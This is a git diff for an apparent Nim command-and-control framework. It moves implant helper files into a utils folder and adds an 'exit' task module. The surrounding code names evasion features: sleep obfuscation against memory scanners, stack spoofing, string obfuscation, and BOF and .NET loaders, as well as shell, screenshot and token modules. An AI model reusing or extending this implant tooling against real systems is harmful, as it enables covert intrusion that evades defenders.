diff --git a/src/agent/core/clr.nim b/src/agent/core/clr.nim index 274bbfe..a28b7a4 100644 --- a/src/agent/core/clr.nim +++ b/src/agent/core/clr.nim @@ -1,6 +1,6 @@ import winim/[lean, clr] import os, strformat, strutils, sequtils -import ./[hwbp, io] +import ../utils/[hwbp, io] import ../../common/[types, utils] #[ diff --git a/src/agent/core/coff.nim b/src/agent/core/coff.nim index 2bf1240..6f1bb60 100644 --- a/src/agent/core/coff.nim +++ b/src/agent/core/coff.nim @@ -1,6 +1,6 @@ import winim/lean import os, strformat, strutils, ptr_math -import ./[beacon, io] +import ../utils/[beacon, io] import ../../common/[types, utils, serialize] #[ diff --git a/src/agent/core/context.nim b/src/agent/core/context.nim index 6fb6a5b..b3af183 100644 --- a/src/agent/core/context.nim +++ b/src/agent/core/context.nim @@ -1,5 +1,5 @@ import parsetoml, base64, system -import ./io +import ../utils/io import ../../common/[types, utils, crypto, serialize] const CONFIGURATION {.strdefine.}: string = "" diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index b0cc889..6403bc2 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -1,5 +1,5 @@ import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random -import ./io +import ../utils/io import ../../common/[types, utils, profile] proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 1594af8..c17179e 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -1,8 +1,7 @@ import winim/lean import winim/inc/tlhelp32 import os, system, strformat, random - -import ./[cfg, io] +import ../utils/[cfg, io] import ../../common/[types, utils, crypto] # Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage) diff --git a/src/agent/core/token.nim b/src/agent/core/token.nim index c3da1d0..5b9844a 100644 --- a/src/agent/core/token.nim +++ b/src/agent/core/token.nim @@ -1,6 +1,6 @@ import winim/lean import strformat -import ./io +import ../utils/io import ../../common/[types, utils] #[ diff --git a/src/agent/main.nim b/src/agent/main.nim index a6a3f39..baf4d3b 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -1,6 +1,7 @@ import strformat, os, times, system, base64, random -import core/[http, context, sleepmask, io] +import core/[http, context, sleepmask] +import utils/io import protocol/[task, result, heartbeat, registration] import ../common/[types, utils, crypto] @@ -24,21 +25,21 @@ proc main() = #[ Agent routine: 1. Sleep Obfuscation - 2. Retrieve task from /tasks endpoint - 3. Execute task and post result to /results - 4. If additional tasks have been fetched, go to 2. + 2. Retrieve tasks via checkin request to a GET endpoint + 3. Execute task and post result + 4. If additional tasks have been fetched, go to 3. 5. If no more tasks need to be executed, go to 1. ]# while true: # Sleep obfuscation to evade memory scanners sleepObfuscate(ctx.sleepSettings) - let date: string = now().format("dd-MM-yyyy HH:mm:ss") + let date: string = now().format(protect("dd-MM-yyyy HH:mm:ss")) print "\n", fmt"[*] [{date}] Checking in." try: # Retrieve task queue for the current agent by sending a check-in/heartbeat request - # The check-in request contains the agentId, listenerId, so the server knows which tasks to return + # The check-in request contains the agentId and listenerId, so the server knows which tasks to return var heartbeat: Heartbeat = ctx.createHeartbeat() let heartbeatBytes: seq[byte] = ctx.serializeHeartbeat(heartbeat) diff --git a/src/agent/protocol/task.nim b/src/agent/protocol/task.nim index dbea470..ff441fb 100644 --- a/src/agent/protocol/task.nim +++ b/src/agent/protocol/task.nim @@ -1,7 +1,7 @@ import strutils, tables, json, strformat, zippy import ./result -import ../core/io +import ../utils/io import ../../modules/manager import ../../common/[types, serialize, sequence, crypto, utils] diff --git a/src/agent/core/beacon.nim b/src/agent/utils/beacon.nim similarity index 100% rename from src/agent/core/beacon.nim rename to src/agent/utils/beacon.nim diff --git a/src/agent/core/cfg.nim b/src/agent/utils/cfg.nim similarity index 100% rename from src/agent/core/cfg.nim rename to src/agent/utils/cfg.nim diff --git a/src/agent/core/hwbp.nim b/src/agent/utils/hwbp.nim similarity index 100% rename from src/agent/core/hwbp.nim rename to src/agent/utils/hwbp.nim diff --git a/src/agent/core/io.nim b/src/agent/utils/io.nim similarity index 100% rename from src/agent/core/io.nim rename to src/agent/utils/io.nim diff --git a/src/client/views/console.nim b/src/client/views/console.nim index 179ace1..7ae4b9e 100644 --- a/src/client/views/console.nim +++ b/src/client/views/console.nim @@ -147,9 +147,8 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} = Handling console commands ]# proc displayHelp(component: ConsoleComponent) = - for module in getModules(component.agent.modules): - for cmd in module.commands: - component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description) + for cmd in getCommands(component.agent.modules): + component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description) proc displayCommandHelp(component: ConsoleComponent, command: Command) = var usage = command.name & " " & command.arguments.mapIt( diff --git a/src/common/types.nim b/src/common/types.nim index 430acd3..434b1b4 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -58,6 +58,7 @@ type CMD_TOKEN_INFO = 21'u16 CMD_ENABLE_PRIV = 22'u16 CMD_DISABLE_PRIV = 23'u16 + CMD_EXIT = 24'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 diff --git a/src/modules/bof.nim b/src/modules/bof.nim index 255e2a3..82e4b74 100644 --- a/src/modules/bof.nim +++ b/src/modules/bof.nim @@ -30,7 +30,8 @@ when not defined(agent): when defined(agent): import osproc, strutils, strformat - import ../agent/core/[coff, io] + import ../agent/core/coff + import ../agent/utils/io import ../agent/protocol/result import ../common/[utils, serialize] diff --git a/src/modules/dotnet.nim b/src/modules/dotnet.nim index 8f61f0c..5bc33f3 100644 --- a/src/modules/dotnet.nim +++ b/src/modules/dotnet.nim @@ -30,7 +30,8 @@ when not defined(agent): when defined(agent): import strutils, strformat - import ../agent/core/[clr, io] + import ../agent/core/clr + import ../agent/utils/io import ../agent/protocol/result import ../common/[utils, serialize] diff --git a/src/modules/exit.nim b/src/modules/exit.nim new file mode 100644 index 0000000..6f07c93 --- /dev/null +++ b/src/modules/exit.nim @@ -0,0 +1,46 @@ +import ../common/[types, utils] + +# Define function prototype +proc executeExit(ctx: AgentCtx, task: Task): TaskResult + +# Module definition +let commands* = @[ + Command( + name: protect("exit"), + commandType: CMD_EXIT, + description: protect("Exit the agent process."), + example: protect("exit"), + arguments: @[ + ], + execute: executeExit + ) + ] + +# Implement execution functions +when not defined(agent): + proc executeExit(ctx: AgentCtx, task: Task): TaskResult = nil + +when defined(agent): + + import winim/lean + import strutils, strformat + import ../agent/utils/io + import ../agent/protocol/result + import ../common/[utils, serialize] + + type + RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.} + RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.} + + proc executeExit(ctx: AgentCtx, task: Task): TaskResult = + try: + let + hNtdll = GetModuleHandleA(protect("ntdll")) + pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread"))) + pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess"))) + + print " [>] Exiting." + pRtlExitUserProcess(STATUS_SUCCESS) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) \ No newline at end of file diff --git a/src/modules/filesystem.nim b/src/modules/filesystem.nim index bad6551..286e987 100644 --- a/src/modules/filesystem.nim +++ b/src/modules/filesystem.nim @@ -101,7 +101,7 @@ when not defined(agent): when defined(agent): import os, strutils, strformat, times, algorithm, winim - import ../agent/core/io + import ../agent/utils/io import ../agent/protocol/result import ../common/utils diff --git a/src/modules/filetransfer.nim b/src/modules/filetransfer.nim index ad01f7a..6ba38c9 100644 --- a/src/modules/filetransfer.nim +++ b/src/modules/filetransfer.nim @@ -41,7 +41,7 @@ when not defined(agent): when defined(agent): import os, std/paths, strutils, strformat - import ../agent/core/io + import ../agent/utils/io import ../agent/protocol/result import ../common/[utils, serialize] diff --git a/src/modules/manager.nim b/src/modules/manager.nim index b3bbadd..5fe385f 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -17,6 +17,16 @@ proc registerModule(module: Module) {.discardable.} = manager.commandsByType[cmd.commandType] = cmd manager.commandsByName[cmd.name] = cmd +proc registerCommands(commands: seq[Command]) {.discardable.} = + for cmd in commands: + manager.commandsByType[cmd.commandType] = cmd + manager.commandsByName[cmd.name] = cmd + +# Modules/commands + +import exit +registerCommands(exit.commands) + # Import all modules when (MODULES == cast[uint32](MODULE_ALL)): import @@ -68,7 +78,6 @@ when ((MODULES and cast[uint32](MODULE_TOKEN)) == cast[uint32](MODULE_TOKEN)): import token registerModule(token.module) - proc getCommandByType*(cmdType: CommandType): Command = return manager.commandsByType[cmdType] @@ -90,6 +99,10 @@ proc getModules*(modules: uint32 = 0): seq[Module] = result.add(m) proc getCommands*(modules: uint32 = 0): seq[Command] = + # House-keeping + result.add(manager.commandsByType[CMD_EXIT]) + + # Modules if modules == 0: for m in manager.modules: result.add(m.commands) diff --git a/src/modules/screenshot.nim b/src/modules/screenshot.nim index 11cfa30..c69e5c8 100644 --- a/src/modules/screenshot.nim +++ b/src/modules/screenshot.nim @@ -30,7 +30,7 @@ when defined(agent): import winim/inc/wingdi import strutils, strformat, times, pixie import stb_image/write as stbiw - import ../agent/core/io + import ../agent/utils/io import ../agent/protocol/result import ../common/[utils, serialize] diff --git a/src/modules/shell.nim b/src/modules/shell.nim index d82ea9b..9612474 100644 --- a/src/modules/shell.nim +++ b/src/modules/shell.nim @@ -30,7 +30,7 @@ when not defined(agent): when defined(agent): import osproc, strutils, strformat - import ../agent/core/io + import ../agent/utils/io import ../agent/protocol/result import ../common/utils diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index 9ef3478..7c6f347 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -42,7 +42,7 @@ when not defined(agent): when defined(agent): import os, strutils, strformat - import ../agent/core/io + import ../agent/utils/io import ../agent/protocol/result import ../common/utils @@ -69,7 +69,7 @@ when defined(agent): case int(task.argCount): of 0: # Retrieve sleepmask settings - let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}, Stack spoofing: {$ctx.sleepSettings.spoofStack}" + let response = fmt"Sleepmask settings: Technique: {$ctx.sleepSettings.sleepTechnique}, Delay: {$ctx.sleepSettings.sleepDelay}ms, Jitter: {$ctx.sleepSettings.jitter}%, Stack spoofing: {$ctx.sleepSettings.spoofStack}" return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response)) of 1: diff --git a/src/modules/systeminfo.nim b/src/modules/systeminfo.nim index 078037b..3e9e99c 100644 --- a/src/modules/systeminfo.nim +++ b/src/modules/systeminfo.nim @@ -38,7 +38,7 @@ when defined(agent): import winim import os, strutils, sequtils, strformat, tables, algorithm - import ../agent/core/io + import ../agent/utils/io import ../agent/protocol/result import ../common/utils diff --git a/src/modules/token.nim b/src/modules/token.nim index ba7499e..96ffa81 100644 --- a/src/modules/token.nim +++ b/src/modules/token.nim @@ -88,7 +88,8 @@ when not defined(agent): when defined(agent): import winim, strutils, strformat - import ../agent/core/[token, io] + import ../agent/core/token + import ../agent/utils/io import ../agent/protocol/result import ../common/utils